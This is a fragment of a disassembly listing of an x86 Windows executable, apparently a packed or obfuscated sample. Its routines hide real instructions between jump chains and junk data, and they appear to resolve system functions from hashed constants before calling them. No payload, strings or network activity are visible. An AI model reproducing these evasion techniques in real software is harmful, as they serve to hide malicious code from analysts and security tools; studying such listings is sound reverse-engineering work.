loc_404E92:				; CODE XREF: sub_4048A4:loc_404E61j
		jmp	short loc_404E76
; ---------------------------------------------------------------------------
		dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h
		db 6Dh,	0A2h, 33h
; ---------------------------------------------------------------------------


loc_404EA7:				; CODE XREF: sub_4048A4:loc_404E76j
		add	eax, ecx
		push	ecx
		push	ebx
		mov	bx, 48F6h
		cmp	dl, bl
		cmp	al, 0C6h
		push	ebx
		pop	ecx
		shr	ebx, 0F6h
		mov	ecx, ebp
		ror	ebx, 9
		push	esp
		pop	ecx
		cmp	al, 0E0h
		cmc


loc_404EC2:				; CODE XREF: sub_4048A4+67Fj
		cld
		pop	ebx
		pop	ecx
		mov	eax, [eax+edx*4]
		push	eax
		push	edx
		mov	dx, 494Dh
		test	ecx, ecx


loc_404ED0:				; CODE XREF: sub_4048A4+5D9j
		clc
		cld
		pop	edx
		pop	eax
		add	eax, ecx
		jmp	short loc_404EF4
; ---------------------------------------------------------------------------
		xchg	esi, [ebp+ebx*8-26DFDCAEh]


loc_404EDF:				; CODE XREF: sub_4048A4:loc_404EF4j
		jmp	short loc_404F0B
; ---------------------------------------------------------------------------
		db 9Eh,	7Fh, 4Ch
		dd 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h
; ---------------------------------------------------------------------------


loc_404EF4:				; CODE XREF: sub_4048A4+632j
		jmp	short loc_404EDF
; ---------------------------------------------------------------------------
		dw 5A05h
; ---------------------------------------------------------------------------


loc_404EF8:				; CODE XREF: sub_4048A4:loc_404F0Bj
		jmp	short loc_404F27
; ---------------------------------------------------------------------------
		dw 688Bh
		dd 14672681h, 8003B2BDh, 0AC5FFEB9h
		db 75h,	0Ah, 7Bh
; ---------------------------------------------------------------------------


loc_404F0B:				; CODE XREF: sub_4048A4:loc_404EDFj
		jmp	short loc_404EF8
; ---------------------------------------------------------------------------
		cwde


loc_404F0E:				; CODE XREF: sub_4048A4:loc_404F27j
		jmp	short loc_404F3E
; ---------------------------------------------------------------------------
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
		jz	short loc_404EC2
		adc	ah, bl


loc_404F27:				; CODE XREF: sub_4048A4:loc_404EF8j
		jmp	short loc_404F0E
; ---------------------------------------------------------------------------
		db 0E0h, 99h, 5Eh
		dd 6A550C3Fh, 36D1F85Bh, 0C20DA437h, 0E0910D3h
		db 2Fh,	3Ch
; ---------------------------------------------------------------------------


loc_404F3E:				; CODE XREF: sub_4048A4:loc_404F0Ej
		pop	ecx
		jmp	short loc_404F6E
; ---------------------------------------------------------------------------
		db 0D4h, 7Dh, 72h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 40h,	79h, 0BEh
		dd 0CA356C1Fh, 96B1583Bh, 22ED0417h
; ---------------------------------------------------------------------------


loc_404F54:				; CODE XREF: sub_4048A4:loc_404F6Ej
		jmp	short loc_404F81
; ---------------------------------------------------------------------------
		dw 70B3h
		dd 9C0F6EE9h, 882B7AA5h, 34074621h, 0A0A3D25Dh,	0CCFF1E59h
		db 15h,	2Ah
; ---------------------------------------------------------------------------


loc_404F6E:				; CODE XREF: sub_4048A4+69Bj
		jmp	short loc_404F54
; ---------------------------------------------------------------------------
		db 1Bh
; ---------------------------------------------------------------------------


loc_404F71:				; CODE XREF: sub_4048A4:loc_404F81j
		jmp	short loc_404F9C
; ---------------------------------------------------------------------------
		db 0B8h
		dd 64F7F691h, 0D09382CDh, 0FCEFCEC9h
		db 85h
; ---------------------------------------------------------------------------


loc_404F81:				; CODE XREF: sub_4048A4:loc_404F54j
		jmp	short loc_404F71
; ---------------------------------------------------------------------------
		db 0DAh
; ---------------------------------------------------------------------------
		or	ebp, eax


loc_404F86:				; CODE XREF: sub_4048A4:loc_404F9Cj
		jmp	short loc_404FAF
; ---------------------------------------------------------------------------
		dd 94E7A601h, 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h
; ---------------------------------------------------------------------------


loc_404F9C:				; CODE XREF: sub_4048A4:loc_404F71j
		jmp	short loc_404F86
; ---------------------------------------------------------------------------
		dw 0E2ADh
		dd 2EA93073h, 3A655CCFh, 6E148EBh
		db 0C7h, 0F4h, 1Dh
; ---------------------------------------------------------------------------


loc_404FAF:				; CODE XREF: sub_4048A4:loc_404F86j
		cmp	eax, ebx
		jbe	loc_40511A
		jmp	short loc_404FE3
; ---------------------------------------------------------------------------
		push	ecx
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx


loc_404FC0:				; CODE XREF: sub_4048A4:loc_404FE3j
		jmp	short loc_404FF4
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h
		db 0A2h, 33h, 0F0h
; ---------------------------------------------------------------------------


loc_404FE3:				; CODE XREF: sub_4048A4+713j
		jmp	short loc_404FC0
; ---------------------------------------------------------------------------
		db 69h,	0EEh, 8Fh
		db 1Ch
; ---------------------------------------------------------------------------


loc_404FE9:				; CODE XREF: sub_4048A4:loc_404FF4j
		jmp	short loc_40501B
; ---------------------------------------------------------------------------
		db 25h
; ---------------------------------------------------------------------------
		cli
		stosd
		or	[ecx-224B783Ah], ah


loc_404FF4:				; CODE XREF: sub_4048A4:loc_404FC0j
		jmp	short loc_404FE9
; ---------------------------------------------------------------------------
		dw 2352h
		dd 7F9ED920h, 9BAA954Ch, 77761138h, 13024DE4h, 6F4E4950h
		dd 8B5A057Ch, 67268168h, 3B2BD14h
		db 80h,	0B9h, 0FEh
; ---------------------------------------------------------------------------


loc_40501B:				; CODE XREF: sub_4048A4:loc_404FE9j
		cmp	eax, ecx
		jnb	loc_40511A
		push	eax
		push	edi
		shr	edi, 72h
		cld
		pop	edi
		pop	eax
		push	dword ptr [ebp-4]
		push	eax
		push	ebx
		jno	short loc_40503D
		not	eax
		mov	ebx, ebx
		rcl	eax, 15h
		xor	ebx, ebp
		not	ebx


loc_40503D:				; CODE XREF: sub_4048A4+78Cj
		dec	eax
		mov	ebx, esi
		lea	ebx, ds:809B5Ah
		inc	ebx
		cld
		pop	ebx
		pop	eax
		push	dword ptr [ebp+8]
		jmp	short loc_40507F
; ---------------------------------------------------------------------------
		push	edi
		inc	esp
		sub	eax, 29B0F362h


loc_405056:				; CODE XREF: sub_4048A4:loc_40507Fj
		jmp	short loc_405096
; ---------------------------------------------------------------------------
		dd 0E5DC4FAEh, 61C86BBAh, 9D744786h, 99E0E312h,	550C3F5Eh
		dd 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh
; ---------------------------------------------------------------------------
		sbb	cl, [ebx+28h]


loc_40507F:				; CODE XREF: sub_4048A4+7A9j
		jmp	short loc_405056
; ---------------------------------------------------------------------------
		db 41h,	0E6h, 27h
		dd 0C3727DD4h, 1FBE7940h, 3BCA356Ch, 1796B158h
; ---------------------------------------------------------------------------
		add	al, 0EDh


loc_405096:				; CODE XREF: sub_4048A4:loc_405056j
		push	1FC0EAEEh
		push	esi
		push	ecx
		xchg	ecx, ecx
		mov	esi, ebp
		test	al, dh
		inc	ecx
		cld
		pop	ecx
		pop	esi
		push	dword ptr [ebp+8]
		jmp	short loc_4050DC
; ---------------------------------------------------------------------------
		setl	byte ptr [ebp+21882B7Ah]


loc_4050B3:				; CODE XREF: sub_4048A4:loc_4050DCj
		jmp	short loc_4050F3
; ---------------------------------------------------------------------------
		db 46h,	7, 34h
		dd 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh
		dd 0FCEFCEC9h, 0E80BDA85h, 94E7A601h, 83323Dh
; ---------------------------------------------------------------------------


loc_4050DC:				; CODE XREF: sub_4048A4+806j
		jmp	short loc_4050B3
; ---------------------------------------------------------------------------
		dw 7E39h
		dd 8AF52CDFh, 567118FBh, 0E2ADC4D7h, 2EA93073h
		db 0CFh, 5Ch, 65h
; ---------------------------------------------------------------------------


loc_4050F3:				; CODE XREF: sub_4048A4:loc_4050B3j
		call	near ptr sub_4048A4
		push	edi
		push	eax
		push	esp
		pop	edi
		xor	edi, ebp
		xchg	eax, eax
		cld
		cld
		pop	eax
		pop	edi
		call	eax
		push	edx
		push	eax
		not	edx
		cmp	ecx, esi
		xor	edx, ecx
		lea	eax, ds:80DB5Ah
		shr	eax, 0F4h
		cld
		pop	eax
		pop	edx


loc_40511A:				; CODE XREF: sub_4048A4+70Dj
					; sub_4048A4+779j
		pop	edi
		push	edi
		push	edx
		mov	edi, eax
		adc	edi, 80891Ah
		cmp	al, 0F9h
		inc	edi
		cld
		pop	edx
		pop	edi
		pop	esi
		push	ecx
		push	edi
		cmp	edx, edi
		push	ebx
		pop	ecx
		cmp	ebx, ecx
		inc	edi
		cld
		pop	edi
		pop	ecx
		pop	ebx
		jmp	short loc_405166
; ---------------------------------------------------------------------------
		db 0DEh
		db 0BFh, 8Ch
; ---------------------------------------------------------------------------


loc_40513E:				; CODE XREF: sub_4048A4:loc_405166j
		jmp	short locret_40517A
; ---------------------------------------------------------------------------
		aad	0EAh
		fstp	tbyte ptr [eax+51h]
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
; ---------------------------------------------------------------------------
		xor	[esi], edx


loc_405166:				; CODE XREF: sub_4048A4+895j
		jmp	short loc_40513E
; ---------------------------------------------------------------------------
		dd 0A26D8497h, 0EE69F033h, 0FA251C8Fh, 0C6A108ABh
		db 87h,	0B4h
; ---------------------------------------------------------------------------

locret_40517A:				; CODE XREF: sub_4048A4:loc_40513Ej
		leave
		push	edx
		push	ebx
		dec	edx
		lea	edx, ds:80CADAh
		mov	bx, 499Fh
		not	edx
		push	ebp
		pop	ebx
		xor	edx, eax
		inc	edx
		stc
		cld
		pop	ebx
		pop	edx
		retn	8
sub_4048A4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short loc_4051BB
; ---------------------------------------------------------------------------
		db 38h,	11h, 76h
; ---------------------------------------------------------------------------


loc_40519B:				; CODE XREF: .text:loc_4051BBj
		jmp	short loc_4051CB
; ---------------------------------------------------------------------------
		db 77h,	0E4h, 4Dh
		dd 49501302h, 57C6F4Eh,	81688B5Ah, 0BD146726h, 0B98003B2h
		dd 75AC5FFEh
; ---------------------------------------------------------------------------
		or	bh, [ebx-68h]


loc_4051BB:				; CODE XREF: .text:00405196j
		jmp	short loc_40519B
; ---------------------------------------------------------------------------
		db 0F1h, 0D6h, 57h
		dd 0F3622D44h
; ---------------------------------------------------------------------------


loc_4051C4:				; CODE XREF: .text:loc_4051CBj
		jmp	short loc_4051F2
; ---------------------------------------------------------------------------
		dw 29B0h
		db 0AEh, 4Fh, 0DCh
; ---------------------------------------------------------------------------


loc_4051CB:				; CODE XREF: .text:loc_40519Bj
		jmp	short loc_4051C4
; ---------------------------------------------------------------------------


loc_4051CD:				; CODE XREF: .text:loc_4051F2j
		jmp	short near ptr sub_405202
; ---------------------------------------------------------------------------
		db 0E5h
		dd 61C86BBAh, 9D744786h, 99E0E312h, 550C3F5Eh, 0D1F85B6Ah
		dd 0DA43736h, 910D3C2h,	0C53C2F0Eh
		db 1Ah,	4Bh
; ---------------------------------------------------------------------------


loc_4051F2:				; CODE XREF: .text:loc_4051C4j
		jmp	short loc_4051CD
; ---------------------------------------------------------------------------
		dd 27E64128h, 0C3727DD4h, 1FBE7940h
		db 6Ch,	35h

; =============== S U B	R O U T	I N E =======================================



sub_405202	proc far		; CODE XREF: .text:loc_4051CDj
					; .text:00408330p
		push	ebp
		jmp	short loc_40522F
; ---------------------------------------------------------------------------
		and	dh, [ebx+0F6EE970h]
		pushf


loc_40520C:				; CODE XREF: sub_405202:loc_40522Fj
		jmp	short loc_40523F
; ---------------------------------------------------------------------------
		dw 7AA5h
		dd 4621882Bh, 0D25D3407h, 1E59A0A3h, 2A15CCFFh,	0F691B81Bh
		dd 82CD64F7h, 0CEC9D093h
		db 0EFh, 0FCh, 85h
; ---------------------------------------------------------------------------


loc_40522F:				; CODE XREF: sub_405202+1j
		jmp	short loc_40520C
; ---------------------------------------------------------------------------


loc_405231:				; CODE XREF: sub_405202:loc_40523Fj
		jmp	short loc_405260
; ---------------------------------------------------------------------------
		db 0DAh
; ---------------------------------------------------------------------------
		or	ebp, eax
		add	[esi+323D94E7h], esp
		add	dword ptr [eax], 39h


loc_40523F:				; CODE XREF: sub_405202:loc_40520Cj
		jmp	short loc_405231
; ---------------------------------------------------------------------------
		db 7Eh,	0DFh, 2Ch
		dd 18FB8AF5h, 0C4D75671h, 3073E2ADh, 5CCF2EA9h,	48EB3A65h
		dd 0F4C706E1h, 6063921Dh
; ---------------------------------------------------------------------------


loc_405260:				; CODE XREF: sub_405202:loc_405231j
		mov	ebp, esp
		push	ebx
		push	edi
		push	eax
		pop	ebx
		jmp	loc_40527B
; ---------------------------------------------------------------------------
		db 87h,	0FFh
; ---------------------------------------------------------------------------
		shl	ebx, 0Ah
		push	ebx
		pop	edi
		mov	di, 4950h
		test	cl, cl
		mov	ebx, ecx
		inc	edi


loc_40527B:				; CODE XREF: sub_405202+64j
		cld
		pop	edi
		pop	ebx
		add	esp, 0FFFFFFF8h
		jmp	short loc_4052B2
; ---------------------------------------------------------------------------
		db 78h
		db 51h,	0B6h
; ---------------------------------------------------------------------------


loc_405286:				; CODE XREF: sub_405202:loc_4052B2j
		jmp	short loc_4052C5
; ---------------------------------------------------------------------------
		mov	bh, 24h
		lea	eax, [edx+53h]
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh,	0A26D8497h
		dd 0EE69F033h
		db 8Fh,	1Ch
; ---------------------------------------------------------------------------


loc_4052B2:				; CODE XREF: sub_405202+7Fj
		jmp	short loc_405286
; ---------------------------------------------------------------------------
		dd 8ABFA25h
		db 0A1h, 0C6h, 87h
; ---------------------------------------------------------------------------


loc_4052BB:				; CODE XREF: sub_405202:loc_4052C5j
		jmp	short loc_4052E8
; ---------------------------------------------------------------------------
		db 0B4h, 0DDh, 52h
		dd 9ED92023h
		db 7Fh
; ---------------------------------------------------------------------------


loc_4052C5:				; CODE XREF: sub_405202:loc_405286j
		jmp	short loc_4052BB
; ---------------------------------------------------------------------------
		db 4Ch
		dd 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h,	688B5A05h
		dd 14672681h, 8003B2BDh, 0AC5FFEB9h
; ---------------------------------------------------------------------------


loc_4052E8:				; CODE XREF: sub_405202:loc_4052BBj
		push	esi
		jmp	short loc_405318
; ---------------------------------------------------------------------------
		db 57h
		dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h,	0E3129D74h
		dd 3F5E99E0h, 5B6A550Ch, 3736D1F8h
		db 0A4h, 0Dh
; ---------------------------------------------------------------------------


loc_40530E:				; CODE XREF: sub_405202:loc_405318j
		jmp	short loc_40533B
; ---------------------------------------------------------------------------
		retn	10D3h
; ---------------------------------------------------------------------------
		or	[esi], ecx
		das
		cmp	al, 0C5h


loc_405318:				; CODE XREF: sub_405202+E7j
		jmp	short loc_40530E
; ---------------------------------------------------------------------------
		db 1Ah
; ---------------------------------------------------------------------------


loc_40531B:				; CODE XREF: sub_405202:loc_40533Bj
		jmp	short loc_40534B
; ---------------------------------------------------------------------------
		db 4Bh,	28h, 41h
		dd 7DD427E6h, 7940C372h, 356C1FBEh, 0B1583BCAh,	0ED041796h
		dd 0E970B322h
		db 6Eh,	0Fh, 9Ch
; ---------------------------------------------------------------------------


loc_40533B:				; CODE XREF: sub_405202:loc_40530Ej
		jmp	short loc_40531B
; ---------------------------------------------------------------------------
		db 0A5h, 7Ah, 2Bh
		dd 7462188h, 0A3D25D34h
		db 0A0h, 59h, 1Eh
; ---------------------------------------------------------------------------


loc_40534B:				; CODE XREF: sub_405202:loc_40531Bj
		push	edi
		jmp	short loc_40537D
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		div	bh


loc_405351:				; CODE XREF: sub_405202:loc_40537Dj
		jmp	short loc_405395
; ---------------------------------------------------------------------------
		db 64h
		dd 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h, 94E7A601h, 83323Dh
		dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh,	5CCF2EA9h
		db 65h
; ---------------------------------------------------------------------------


loc_40537D:				; CODE XREF: sub_405202+14Aj
		jmp	short loc_405351
; ---------------------------------------------------------------------------
		db 3Ah
; ---------------------------------------------------------------------------
		jmp	short loc_4053CA
; ---------------------------------------------------------------------------
		db 0E1h
; ---------------------------------------------------------------------------


loc_405383:				; CODE XREF: sub_405202:loc_405395j
		jmp	short loc_4053B5
; ---------------------------------------------------------------------------
		push	es
		mov	esp, 6063921Dh
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_4053E6


loc_405395:				; CODE XREF: sub_405202:loc_405351j
		jmp	short loc_405383
; ---------------------------------------------------------------------------
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx


loc_40539C:				; CODE XREF: sub_405202+200j
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh
		db 0BBh
; ---------------------------------------------------------------------------


loc_4053B5:				; CODE XREF: sub_405202:loc_405383j
		push	ebx
		push	eax
		push	edx


loc_4053B8:				; CODE XREF: sub_405202+217j
					; sub_405202+21Bj
		xor	eax, edi
		inc	eax
		cld
		pop	edx
		pop	eax
		mov	esi, [ebp+8]
		jmp	short loc_4053D9
; ---------------------------------------------------------------------------
		db 0EEh
		dd 0FA251C8Fh
		db 0ABh, 8
; ---------------------------------------------------------------------------


loc_4053CA:				; CODE XREF: sub_405202+17Ej
					; sub_405202:loc_4053D9j
		jmp	short loc_4053F8
; ---------------------------------------------------------------------------
		dd 0B487C6A1h, 202352DDh, 4C7F9ED9h
; ---------------------------------------------------------------------------
		xchg	eax, ebp


loc_4053D9:				; CODE XREF: sub_405202+1BFj
		jmp	short loc_4053CA
; ---------------------------------------------------------------------------


loc_4053DB:				; CODE XREF: sub_405202:loc_4053F8j
		jmp	short loc_405408
; ---------------------------------------------------------------------------
		db 0AAh, 9Bh, 38h
		dd 0E4777611h
		db 4Dh,	2
; ---------------------------------------------------------------------------


loc_4053E6:				; CODE XREF: sub_405202+191j
		adc	edx, [eax+49h]
		dec	esi
		outsd
		jl	short near ptr loc_4053F1+1
		pop	edx
		mov	ebp, [eax-7Fh]


loc_4053F1:				; CODE XREF: sub_405202+1E9j
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3
; ---------------------------------------------------------------------------
		db 80h
; ---------------------------------------------------------------------------


loc_4053F8:				; CODE XREF: sub_405202:loc_4053CAj
		jmp	short loc_4053DB
; ---------------------------------------------------------------------------
		dw 0FEB9h
; ---------------------------------------------------------------------------
		pop	edi
		lodsb
		jnz	short loc_40540A


loc_405400:				; CODE XREF: sub_405202:loc_405408j
		jmp	short loc_40542B
; ---------------------------------------------------------------------------
		jnp	short loc_40539C
		icebp
		setalc
		push	edi
		inc	esp


loc_405408:				; CODE XREF: sub_405202:loc_4053DBj
		jmp	short loc_405400
; ---------------------------------------------------------------------------


loc_40540A:				; CODE XREF: sub_405202+1FCj
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
		jz	short loc_4053B8
		adc	ah, bl
		loopne	loc_4053B8
		pop	esi
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
; ---------------------------------------------------------------------------
		db 0Dh
; ---------------------------------------------------------------------------


loc_40542B:				; CODE XREF: sub_405202:loc_405400j
		mov	edx, [ebp+0Ch]
		push	ecx
		push	esi
		cmp	ebx, ecx
		mov	ecx, 808C9Ah
		xor	ecx, ecx
		mov	ecx, eax
		test	al, dl
		not	ecx
		push	ebp
		pop	esi
		dec	ecx
		dec	esi
		cld
		pop	esi
		pop	ecx
		add	esi, edx
		jmp	short loc_405458
; ---------------------------------------------------------------------------
		dw 4128h
		dd 7DD427E6h
		db 72h
; ---------------------------------------------------------------------------


loc_405451:				; CODE XREF: sub_405202:loc_405458j
		jmp	short loc_40547F
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dd 1FBE7940h
; ---------------------------------------------------------------------------


loc_405458:				; CODE XREF: sub_405202+246j
		jmp	short loc_405451
; ---------------------------------------------------------------------------


loc_40545A:				; CODE XREF: sub_405202:loc_40547Fj
		jmp	short loc_40548F
; ---------------------------------------------------------------------------
		dd 3BCA356Ch, 1796B158h, 0B322ED04h, 0F6EE970h,	2B7AA59Ch
		dd 7462188h, 0A3D25D34h, 0FF1E59A0h
		db 0CCh
		db 15h,	2Ah
; ---------------------------------------------------------------------------


loc_40547F:				; CODE XREF: sub_405202:loc_405451j
		jmp	short loc_40545A
sub_405202	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 1Bh,	0B8h, 91h
		dd 0CD64F7F6h, 0C9D09382h
		db 0CEh, 0EFh, 0FCh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_40548F:				; CODE XREF: sub_405202:loc_40545Aj
					; start:loc_406465j
		mov	eax, [esi+0Ch]
		push	eax
		push	edi
		xchg	eax, edi
		not	eax
		not	eax
		dec	eax
		cld
		pop	edi
		pop	eax
		test	eax, eax
		jz	loc_4064CB
		jmp	short loc_4054D8
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 32h,	83h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4054AA:				; CODE XREF: start:loc_4054D8j
		jmp	short loc_4054F3
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h, 0CF2EA930h
		dd 0EB3A655Ch, 0C706E148h, 63921DF4h, 0BFDE1960h, 0DBEAD58Ch
		dd 0B7B65178h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4054D8:				; CODE XREF: start-ED2j
		jmp	short loc_4054AA
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
; START	OF FUNCTION CHUNK FOR start


loc_4054DF:				; CODE XREF: start:loc_4054F3j
		jmp	short loc_40550E
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h
; ---------------------------------------------------------------------------
		sar	cl, 3Eh
; START	OF FUNCTION CHUNK FOR start


loc_4054F3:				; CODE XREF: start:loc_4054AAj
		jmp	short loc_4054DF
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 9Fh,	0ECh, 0B5h
		dd 31D8BB4Ah, 6D849716h, 69F033A2h, 251C8FEEh, 0A108ABFAh
		db 0C6h, 87h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_40550E:				; CODE XREF: start:loc_4054DFj
		add	eax, edx
		push	edx
		push	ebx
		inc	edx
		jnz	short loc_405527
		push	esp
		pop	edx
		test	cl, cl
		test	cl, dl
		rcr	edx, 0F8h
		mov	ebx, esp
		mov	dx, 4A90h
		shr	ebx, 3Eh


loc_405527:				; CODE XREF: start-E65j
		adc	ebx, 80915Ah
		cld
		pop	ebx
		pop	edx
		mov	ebx, eax
		jmp	short loc_405557
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 38h,	11h, 76h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_405537:				; CODE XREF: start:loc_405557j
		jmp	short loc_405567
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 77h,	0E4h, 4Dh
		dd 49501302h, 57C6F4Eh,	81688B5Ah, 0BD146726h, 0B98003B2h
		dd 75AC5FFEh
; ---------------------------------------------------------------------------
		or	bh, [ebx-68h]
; START	OF FUNCTION CHUNK FOR start


loc_405557:				; CODE XREF: start-E46j
		jmp	short loc_405537
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0F1h, 0D6h, 57h
		dd 0F3622D44h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_405560:				; CODE XREF: start:loc_405567j
		jmp	short loc_40558E
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 29B0h
		db 0AEh, 4Fh, 0DCh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_405567:				; CODE XREF: start:loc_405537j
		jmp	short loc_405560
; ---------------------------------------------------------------------------


loc_405569:				; CODE XREF: start:loc_40558Ej
		jmp	short loc_40559E
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0E5h
		dd 61C86BBAh, 9D744786h, 99E0E312h, 550C3F5Eh, 0D1F85B6Ah
		dd 0DA43736h, 910D3C2h,	0C53C2F0Eh
		db 1Ah,	4Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_40558E:				; CODE XREF: start:loc_405560j
		jmp	short loc_405569
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 27E64128h, 0C3727DD4h, 1FBE7940h
		db 6Ch,	35h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_40559E:				; CODE XREF: start:loc_405569j
		push	eax
		push	ebx
		push	edi
		test	al, dl
		test	al, bl
		mov	ebx, 80885Ah
		mov	bx, 4948h
		not	ebx
		test	eax, edi
		neg	edi
		cld
		pop	edi
		pop	ebx
		push	0A48D6762h
		push	eax
		push	edx
		mov	edx, ebx
		xchg	eax, edx
		repne jz loc_4055CE
		test	al, dh
		nop
		push	ebp
		pop	eax


loc_4055CE:				; CODE XREF: start-DB6j
		xchg	edx, edx
		inc	edx
		cld
		pop	edx
		pop	eax
		push	dword ptr [ebp+10h]
		push	edx
		push	edi
		mov	edx, 818D5Ah
		mov	di, 4948h
		shl	edi, 4Dh
		test	cl, dh
		dec	edi
		cld
		pop	edi
		pop	edx
		call	near ptr sub_4048A4
		push	eax
		push	esi
		mov	eax, 80A89Ah
		xchg	esi, eax
		mov	esi, 80A25Ah
		cmp	ebx, esp
		not	esi
		not	eax
		nop
		cld
		pop	esi
		pop	eax
		call	eax
		push	ecx
		push	ebx
		mov	ebx, edx
		and	ebx, 809B5Ah
		test	cl, al
		clc
		cld
		pop	ebx
		pop	ecx
		test	eax, eax
		jnz	loc_4056AF
		jmp	short loc_40564D
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 9Ch,	0A5h, 7Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_405627:				; CODE XREF: start:loc_40564Dj
		jmp	short sub_40565F
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 2Bh,	88h, 21h
		dd 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h
		dd 0C9D09382h, 85FCEFCEh, 1E80BDAh
; ---------------------------------------------------------------------------
		cmpsb
; START	OF FUNCTION CHUNK FOR start


loc_40564D:				; CODE XREF: start-D56j
		jmp	short loc_405627
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0E7h
		dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch
; ---------------------------------------------------------------------------
		sbb	[ecx+56h], dh

; =============== S U B	R O U T	I N E =======================================



sub_40565F	proc near		; CODE XREF: start:loc_405627j
		push	ebx
		push	edi
		push	ecx
		xor	ecx, esi
		inc	edi
		cld
		pop	ecx
		pop	edi
		push	0C8AC8026h
		push	ecx
		push	edx
		not	ecx
		dec	ecx
		cld
		pop	edx
		pop	ecx
		push	dword ptr [ebp+10h]
		push	edx
		push	eax
		mov	ax, 4909h
		cmp	edx, ebp
		cmc
		cld
		pop	eax
		pop	edx
		call	near ptr sub_4048A4
		push	ecx
		push	edx
		push	ecx
		pop	ecx
		inc	ecx
		cld
		pop	edx
		pop	ecx
		call	eax
		push	ecx
		push	eax
		not	ecx
		shl	ecx, 0C1h
		sbb	ecx, 81089Ah
		cmp	bh, dl
		not	eax
		neg	ecx
		test	eax, ebx
		test	al, bl
		neg	eax
		cld
		pop	eax
		pop	ecx
sub_40565F	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR start


loc_4056AF:				; CODE XREF: start-D5Cj
		mov	[ebp-4], eax
		push	esi
		push	edi
		xor	esi, esi
		inc	esi
		cld
		pop	edi
		pop	esi
		mov	dword ptr [ebp-8], 0
		jmp	short loc_4056EE
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 6
		db 0C7h, 0F4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4056C6:				; CODE XREF: start:loc_4056EEj
		jmp	short loc_405701
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		sbb	eax, 19606392h
		fidivr	word ptr [edi-24152A74h]
